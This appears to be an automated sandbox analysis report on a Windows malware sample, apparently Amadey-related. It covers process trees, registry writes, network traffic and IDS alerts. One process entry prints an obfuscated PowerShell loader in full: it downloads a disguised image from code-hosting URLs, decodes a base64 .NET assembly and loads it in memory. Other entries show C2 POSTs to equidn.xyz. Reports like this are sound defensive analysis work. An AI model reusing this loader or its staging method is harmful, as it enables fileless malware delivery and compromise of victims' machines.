Parent process
320C:\WINDOWS\system32\cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\7ZSfx000.cmd" "C:\Windows\System32\cmd.exeblOahSM.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\cmdext.dll
320"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4632,i,18217560912784201385,10469134443537303981,262144 --variations-seed-version --mojo-platform-channel-handle=1728 /prefetch:1C:\Program Files\Google\Chrome\Application\chrome.exechrome.exe
User:
admin
Company:
Google LLC
Integrity Level:
LOW
Description:
Google Chrome
Exit code:
0
Version:
133.0.6943.127
Modules
Images
c:\program files\google\chrome\application\chrome.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\google\chrome\application\133.0.6943.127\chrome_elf.dll
c:\windows\system32\version.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\bcryptprimitives.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
436"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3160,i,17477961302792479662,16918823399318909145,262144 --variations-seed-version=20250221-144540.991000 --mojo-platform-channel-handle=3176 /prefetch:1C:\Program Files\Google\Chrome\Application\chrome.exechrome.exe
User:
admin
Company:
Google LLC
Integrity Level:
LOW
Description:
Google Chrome
Exit code:
0
Version:
133.0.6943.127
Modules
Images
c:\program files\google\chrome\application\chrome.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\google\chrome\application\133.0.6943.127\chrome_elf.dll
c:\windows\system32\version.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\bcryptprimitives.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
504"C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exeMSBuild.exe
User:
admin
Company:
Google LLC
Integrity Level:
MEDIUM
Description:
Google Chrome
Exit code:
21
Version:
133.0.6943.127
Modules
Images
c:\program files\google\chrome\application\chrome.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\aclayers.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
760"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --disable-quic --string-annotations --field-trial-handle=4916,i,10038324720958362196,3396715939334404108,262144 --variations-seed-version=20250221-144540.991000 --mojo-platform-channel-handle=4924 /prefetch:8C:\Program Files\Google\Chrome\Application\chrome.exechrome.exe
User:
admin
Company:
Google LLC
Integrity Level:
MEDIUM
Description:
Google Chrome
Exit code:
0
Version:
133.0.6943.127
Modules
Images
c:\program files\google\chrome\application\chrome.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\aclayers.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
868\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exewinservicex32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
868C:\WINDOWS\system32\cmd.exe /c start cmd /C "ping localhost -n 1 && start C:\Users\admin\AppData\Local\GoogleChrome.exe"C:\Windows\System32\cmd.exeaf20549e9f.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
1036"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4564,i,10038324720958362196,3396715939334404108,262144 --variations-seed-version=20250221-144540.991000 --mojo-platform-channel-handle=4588 /prefetch:1C:\Program Files\Google\Chrome\Application\chrome.exechrome.exe
User:
admin
Company:
Google LLC
Integrity Level:
LOW
Description:
Google Chrome
Exit code:
0
Version:
133.0.6943.127
Modules
Images
c:\program files\google\chrome\application\chrome.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\google\chrome\application\133.0.6943.127\chrome_elf.dll
c:\windows\system32\version.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\bcryptprimitives.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
1040C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RES7B02.tmp" "c:\Users\admin\AppData\Local\Temp\CSC66C09B1E45EC4D0D8E873187462977CE.TMP"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.execsc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft® Resource File To COFF Object Conversion Utility
Exit code:
0
Version:
14.32.31326.0
Modules
Images
c:\windows\microsoft.net\framework64\v4.0.30319\cvtres.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\vcruntime140_1_clr0400.dll
1040"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $Bytes = 'htt'; $Bytes2 = 'ps://'; $lfsdfsdg = $Bytes +$Bytes2; $links = @(($lfsdfsdg + 'bitbucket.org/hgfjfgjsfsef/retrewqe/raw/21ada7070af63717ecca62ea0bdc6e7332b5b4b0/test.jpg?137113'), ($lfsdfsdg + 'raw.githubusercontent.com/lunardevv/pmm/refs/heads/main/test.jpg?137113')); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Lengthh = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Lengthh); $endIndex = $imageText.IndexOf($endFlag); $commandBytes = [System.Convert]::FromBase64String($base64Command); $endIndex = $imageText.IndexOf($endFlag); $endIndex = $imageText.IndexOf($endFlag); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); Get-Process | Sort-Object CPU -Descending | Select-Object -First 5 | Format-Table Name,CPU $type = $loadedAssembly.GetType('testpowershell.Hoaaaaaasdme'); Get-Process | Sort-Object CPU -Descending | Select-Object -First 5 | Format-Table Name,CPU $method = $type.GetMethod('lfsgeddddddda').Invoke($null, [object[]] (' txt.mAimmao/selif_cilbup/15.981.871.081//:', '0', 'StartupName', 'Msbuild', '0'))}}" .exe -windowstyle hidden -execC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\atl.dll
Total events
131 438
Read events
130 983
Write events
429
Delete events
26

Modification events

(PID) Process:(4772) explorer.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\Shell\Bags\1\Desktop
Operation:writeName:IconLayouts
Value:
00000000000000000000000000000000030001000100010013000000000000002C000000000000003A003A007B00360034003500460046003000340030002D0035003000380031002D0031003000310042002D0039004600300038002D003000300041004100300030003200460039003500340045007D003E002000200000001000000000000000430043006C00650061006E00650072002E006C006E006B003E0020007C0000001500000000000000410064006F006200650020004100630072006F006200610074002E006C006E006B003E0020007C00000014000000000000006D006100670061007A0069006E00650073006400760064002E007200740066003E002000200000000F00000000000000460069007200650066006F0078002E006C006E006B003E0020007C000000150000000000000047006F006F0067006C00650020004300680072006F006D0065002E006C006E006B003E0020007C000000180000000000000056004C00430020006D006500640069006100200070006C0061007900650072002E006C006E006B003E0020007C00000016000000000000004D006900630072006F0073006F0066007400200045006400670065002E006C006E006B003E0020007C00000018000000000000006100630063006F006D006D006F0064006100740069006F006E006300610074002E006A00700067003E00200020000000160000000000000066007200690065006E0064006100630063006F0075006E00740073002E007200740066003E0020002000000013000000000000006D006F006E00690074006F0072006C006900730074002E0070006E0067003E002000200000000E000000000000006F0068006600650065006C002E007200740066003E0020002000000011000000000000007200650061006C006F006600740065006E002E007200740066003E002000200000001200000000000000730063006F007400740075006E006400650072002E007200740066003E002000200000000F0000000000000073006900780069006E0074006F002E0070006E0067003E00200020000000130000000000000073006B0069006E0068006F007300740069006E0067002E007200740066003E002000200000001100000000000000730074006500760065007700680065006E002E007200740066003E0020002000000014000000000000007700610079006100630063006F007200640069006E0067002E006A00700067003E002000200000004C0000000000000037003400370066006600610037003300360035003900360064003400390064003300350064003500620061003000620030003600360031003900660035003400660033003200310037003300660032003400610066006400380030003300300030003200350034003400650063003500380038003300640061003900330061002E00620069006E002E006500780065003E00200020000000010000000000000002000100000000000000000001000000000000000200010000000000000000001100000006000000010000001300000000000000000000000000000000000000803F0000004008000000803F000040400900000000000000404003000000803F000080400A000000803F0000A0400B0000000040000000000C00000000400000803F0D0000000040000000400E0000000040000040400F0000000040000080401000000000400000A0401100000000000000803F01000000000000000040020000000000000080400400000000000000A04005000000803F0000000006000000803F0000803F070000004040000000001200
(PID) Process:(4772) explorer.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\Shell\Bags\1\Desktop
Operation:writeName:IconNameVersion
Value:
1
(PID) Process:(4772) explorer.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\OneDrive\Accounts
Operation:writeName:LastUpdate
Value:
90FF566800000000
(PID) Process:(4080) chrome.exeKey:HKEY_CURRENT_USER\SOFTWARE\Google\Chrome\BLBeacon
Operation:writeName:state
Value:
1
(PID) Process:(4080) chrome.exeKey:HKEY_CURRENT_USER\SOFTWARE\Google\Chrome\BLBeacon
Operation:writeName:failed_count
Value:
0
(PID) Process:(4080) chrome.exeKey:HKEY_CURRENT_USER\SOFTWARE\Google\Chrome\BLBeacon
Operation:writeName:state
Value:
2
(PID) Process:(4080) chrome.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Google\Update\ClientStateMedium\{8A69D345-D564-463C-AFF1-A69D9E530F96}
Operation:writeName:usagestats
Value:
0
(PID) Process:(4080) chrome.exeKey:HKEY_CURRENT_USER\SOFTWARE\Google\Chrome\StabilityMetrics
Operation:writeName:user_experience_metrics.stability.exited_cleanly
Value:
0
(PID) Process:(4664) chrome.exeKey:HKEY_CURRENT_USER\SOFTWARE\Google\Chrome\BLBeacon
Operation:writeName:state
Value:
1
(PID) Process:(4664) chrome.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Google\Update\ClientStateMedium\{8A69D345-D564-463C-AFF1-A69D9E530F96}
Operation:writeName:usagestats
Value:
0
Executable files
84
Suspicious files
159
Text files
321
Unknown types
1

Dropped files

PID
Process
Filename
Type
4080chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\ClientCertificates\LOG.old~RF178443.TMP
MD5:
SHA256:
4080chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\ClientCertificates\LOG.old
MD5:
SHA256:
4080chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\discounts_db\LOG.old~RF178462.TMP
MD5:
SHA256:
4080chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db\LOG.old~RF178462.TMP
MD5:
SHA256:
4080chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db\LOG.old
MD5:
SHA256:
4080chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\parcel_tracking_db\LOG.old~RF178462.TMP
MD5:
SHA256:
4080chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\discounts_db\LOG.old
MD5:
SHA256:
4080chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\parcel_tracking_db\LOG.old
MD5:
SHA256:
4080chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SegmentInfoDB\LOG.old~RF178472.TMP
MD5:
SHA256:
4080chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SegmentInfoDB\LOG.old
MD5:
SHA256:
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
201
TCP/UDP connections
228
DNS requests
163
Threats
62

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
GET
200
142.250.184.227:443
https://www.gstatic.com/og/_/ss/k=og.qtm.5c6aA4L6wRM.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTsiGDYAU_UWqTmYAAPCX2hlv5h6rg
unknown
text
5.08 Kb
whitelisted
GET
200
142.250.184.227:443
https://www.gstatic.com/og/_/js/k=og.qtm.en_US.Dc7JXiCcgsg.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTsapgy0yrtDJmTpmyJXryZTiZ2ASA
unknown
binary
173 Kb
whitelisted
5944
MoUsoCoreWorker.exe
GET
200
184.25.50.10:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
whitelisted
POST
200
85.90.196.155:443
https://equidn.xyz/xapq
unknown
binary
32.7 Kb
5944
MoUsoCoreWorker.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
whitelisted
1644
RUXIMICS.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
whitelisted
1268
svchost.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
whitelisted
POST
200
40.126.31.1:443
https://login.live.com/RST2.srf
unknown
xml
11.1 Kb
whitelisted
POST
200
20.190.160.22:443
https://login.live.com/RST2.srf
unknown
xml
1.24 Kb
whitelisted
POST
200
20.190.160.22:443
https://login.live.com/ppsecure/deviceaddcredential.srf
unknown
text
16.7 Kb
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
whitelisted
5944
MoUsoCoreWorker.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
1268
svchost.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
1644
RUXIMICS.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4
System
192.168.100.255:138
whitelisted
5944
MoUsoCoreWorker.exe
184.25.50.10:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
4892
747ffa736596d49d35d5ba0b06619f54f32173f24afd803002544ec5883da93a.bin.exe
85.90.196.155:443
equidn.xyz
UA
unknown
5944
MoUsoCoreWorker.exe
95.101.149.131:80
www.microsoft.com
Akamai International B.V.
NL
whitelisted
1644
RUXIMICS.exe
95.101.149.131:80
www.microsoft.com
Akamai International B.V.
NL
whitelisted
1268
svchost.exe
95.101.149.131:80
www.microsoft.com
Akamai International B.V.
NL
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 20.73.194.208
  • 51.124.78.146
whitelisted
google.com
  • 142.250.186.78
whitelisted
equidn.xyz
  • 85.90.196.155
unknown
crl.microsoft.com
  • 184.25.50.10
  • 184.25.50.8
  • 2.18.121.147
  • 2.18.121.139
whitelisted
www.microsoft.com
  • 95.101.149.131
whitelisted
client.wns.windows.com
  • 172.211.123.250
whitelisted
login.live.com
  • 20.190.159.129
  • 40.126.31.73
  • 40.126.31.129
  • 20.190.159.23
  • 40.126.31.131
  • 40.126.31.2
  • 40.126.31.0
  • 20.190.159.2
whitelisted
clients2.google.com
  • 142.250.186.174
whitelisted
safebrowsingohttpgateway.googleapis.com
  • 142.250.185.170
  • 142.250.185.202
  • 172.217.18.106
  • 172.217.16.202
  • 216.58.206.74
  • 142.250.186.74
  • 142.250.185.106
  • 216.58.206.42
  • 142.250.186.138
  • 142.250.181.234
  • 142.250.186.42
  • 142.250.186.106
  • 172.217.18.10
  • 142.250.185.138
  • 142.250.185.74
  • 142.250.185.234
whitelisted
clientservices.googleapis.com
  • 216.58.212.163
whitelisted

Threats

PID
Process
Class
Message
4892
747ffa736596d49d35d5ba0b06619f54f32173f24afd803002544ec5883da93a.bin.exe
Potentially Bad Traffic
ET INFO Executable Download from dotted-quad Host
4892
747ffa736596d49d35d5ba0b06619f54f32173f24afd803002544ec5883da93a.bin.exe
Potentially Bad Traffic
ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response
4892
747ffa736596d49d35d5ba0b06619f54f32173f24afd803002544ec5883da93a.bin.exe
Potential Corporate Privacy Violation
ET INFO PE EXE or DLL Windows file download HTTP
4892
747ffa736596d49d35d5ba0b06619f54f32173f24afd803002544ec5883da93a.bin.exe
Misc activity
ET INFO Packed Executable Download
4892
747ffa736596d49d35d5ba0b06619f54f32173f24afd803002544ec5883da93a.bin.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
7152
ramez.exe
Malware Command and Control Activity Detected
BOTNET [ANY.RUN] Amadey HTTP POST Request (st=s)
7152
ramez.exe
Malware Command and Control Activity Detected
ET MALWARE Amadey CnC Response
7152
ramez.exe
Potentially Bad Traffic
ET INFO Executable Download from dotted-quad Host
7152
ramez.exe
Potential Corporate Privacy Violation
ET INFO PE EXE or DLL Windows file download HTTP
7152
ramez.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
Process
Message
747ffa736596d49d35d5ba0b06619f54f32173f24afd803002544ec5883da93a.bin.exe
%s------------------------------------------------ --- Themida Professional --- --- (c)2012 Oreans Technologies --- ------------------------------------------------